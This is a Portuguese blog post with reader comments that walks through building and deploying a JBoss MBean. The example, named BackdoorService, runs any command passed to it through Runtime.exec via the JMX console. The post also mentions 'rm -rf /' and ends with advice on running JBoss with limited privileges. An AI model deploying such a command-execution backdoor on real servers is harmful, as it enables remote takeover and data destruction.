Criando um MBean no JBoss

August 20th, 2009 by rafaelliu Leave a reply »

A base do JBoss é o JBoss Microkernel que usa a especificação JMX (Java Management Extensions, JSR 003) através da qual módulos podem ser plugados através de MBeans. É assim que serviços de EJB, JMS, JTA, etc são providos no JBoss.

MBeans são simplesmente especificações de interface. Desse modo podemos criar serviços, criar uma MBean que lhe servirá de facade, e fazer o deploy desse MBean no JBoss para expôr esse serviço. Para tanto basta o criar um arquivos SAR ou *-service.xml e fazer seu deploy.

Nesse post vamos criar MBean de exemplo. O exemplo é constituído de 3 coisas:

  1. Um arquivo META-INF/jboss-service.xml com a descrição do MBean
  2. Uma interface BackdoorServiceMBean
  3. Uma classe BackdoorService

Tudo isso compilado em um backdoorService.sar na seguinte estrutura:

sar

A interface deve estende ServiceMBean (classe do JBoss) e seu nome deve terminar em MBean. Ela irá expor as propriedades e operações:

public interface BackdoorServiceMBean extends org.jboss.system.ServiceMBean {
 
	public String execute(String command);
	public String printAbout();
 
	public String getURL();
	public void setURL(String url);
 
}

No exemplo são declaradas duas operações, execute(String) e printAbout(), e uma propriedade, URL.

Já a classe deve estende ServiceMBeanSupport (classe do JBoss) e implementar nossa interface BackdoorServiceMBean. Seu nome deve ser o mesmo da interface sem a terminação “MBean”.

public class BackdoorService extends org.jboss.system.ServiceMBeanSupport implements BackdoorServiceMBean {
 
	private String url;
 
	public String execute(String comando) {
		ByteArrayOutputStream out = new ByteArrayOutputStream();
		byte[] buf = new byte[1024];
		int len;
 
		try {
			Process proc = Runtime.getRuntime().exec(comando);
 
			while ((len = proc.getInputStream().read(buf)) > 0) {
				out.write(buf, 0, len);
			}
		} catch (IOException e) {
			e.printStackTrace();
		}
 
		return out.toString();
	}
 
	public String printAbout() {
		return "Visit " + url + "!";
	}
 
	public String getURL() {
		return url;
	}
 
	public void setURL(String url) {
		this.url = url;
	}
 
}

Por último o arquivo META-INF/jboss-service.xml onde deve constar o nome qualificado da classe MBean e o nome que identificará o MBean (por convenção é da forma <domínio>:<lista de atributos>). Pode-se também definir dependências com outros MBeans ou inicializar propriedades:

<server>
    <mbean code="net.rafaelliu.BackdoorService"
           name="rafaelliu:service=BackdoorService">
      <attribute name="URL">http://rafaelliu.net</attribute>
    </mbean>
</server>

Testando nosso MBean, entramos em http://localhost:8080/jmx-console. Lá em baixo temos uma nova entrada:

jmx-console

Clicando no MBean, vemos a operação que definimos na interface. Vamos chamá-la com o argumento ls /:

jmx-invoke

Com isso temos o retorno:

jmx-resultado

Fácil, ahm?

Moral da história

Para quem nem o código Java nem o nome do serviço foi esclarecedor o suficiente, esse exemplo deve ter ajudado. É um MBean que executa qualquer comando que lhe seja passado como argumento.

Mas pera ai, posso executar qualquer comando mesmo? Até um rm -rf /? Sim. O detalhe é que o comando será executado com o mesmo usuário do JBoss (política de subprocessos do Linux), ou seja, a menos que o JBoss esteja sendo rodado como root, rm -rf / deverá resultar em erro de falta de privilégios.

Agora deve estar bem claro que é uma boa prática definir um usuário jboss com privilégios limitados para executar o processo do JBoss. É claro que um MBean desses não deve nunca ser posto em produção, mas bugs que permitam a execução arbitrária de código são uma realidade.

NOTAS:

  • a versão utilizada foi a JBoss 4.2.3.GA
  • nas versões mais recentes substituído pelo JBoss Microcontainer que além de JMX faz deploy de POJO e OSGi
Advertisement

9 comments

  1. Bruno says:

    Prezado

    Excelente exemplo!! Eu estou com um problema cuja a solução é a substituição uma aplicação socket que tenho e criar um MBean. Criei um projeto EAR de exemplo usando o seu código e deu quase tudo certo, exceto pela ausência do application.xml que não permite inicializar o arquivo. Teria alguma sugestão?

  2. rafaelliu says:

    O exemplo na verdade é de um Service Archive (.sar no JBoss), portanto não precisa de um application.xml.

    Se quiser entregar na forma de um Enterprise Archive (.ear), empacote o .sar dentro do .ear e adicione um arquivo META-INF/jboss-app.xml com o seguinte conteúdo:

    <jboss-app>
    <module>
    <service>backdoorService.sar</service>
    </module>
    </jboss-app>

  3. Bruno says:

    @rafaelliu
    Aproveitando o gancho do exemplo, a minha intenção era justamente criar um Service. o conteudo do arquivo XML não apareceu na sua resposta, mas, ao levantar o servidor, recebi a mensagem:
    ******
    org.jboss.deployment.DeploymentInfo@a1eed664 { url=file:/C:/dev/servers/jboss-4.2.3.GA/server/all/deploy/A_TESTE_EAR_MBEAN.sar/ }
    deployer: org.jboss.deployment.SARDeployer@7a36a2
    status: Deployment FAILED reason: No ClassLoaders found for: net.rafaelliu.BackdoorService; – nested throwable: (java.lang.ClassNotFoundException: No ClassLoaders found for: net.rafaelliu.BackdoorService)
    state: FAILED
    watch: file:%JBOSS_HOME%/server/all/deploy/A_TESTE_EAR_MBEAN.sar/META-INF/jboss-service.xml
    altDD: null
    lastDeployed: 1261053775105
    lastModified: 1261051282169
    mbeans:
    *****

    Esqueci de configurar algo ?

  4. rafaelliu says:

    @Bruno

    Alterei o arquivo para ficar legível. Você está compilando o .java direito?

    Estou anexando o exemplo ao post, dá uma olhada

  5. alex says:

    queria coloca o rss-fedds dentro de uma pasta do jbos.teriam como me ajudar

  6. rafaelliu says:

    Não entendi o que queres fazer, alex..

  7. Joao says:

    Não consegui fazer funcionar. Acho que não estou criando o sar direito.

  8. rafaelliu says:

    Joao, atualizei o post para incluir o link para o download do arquivo.

    É só clicar em backdoorService.sar.

Trackbacks /
Pingbacks

  1. JBoss – Criando MBean Schedulável

Leave a Reply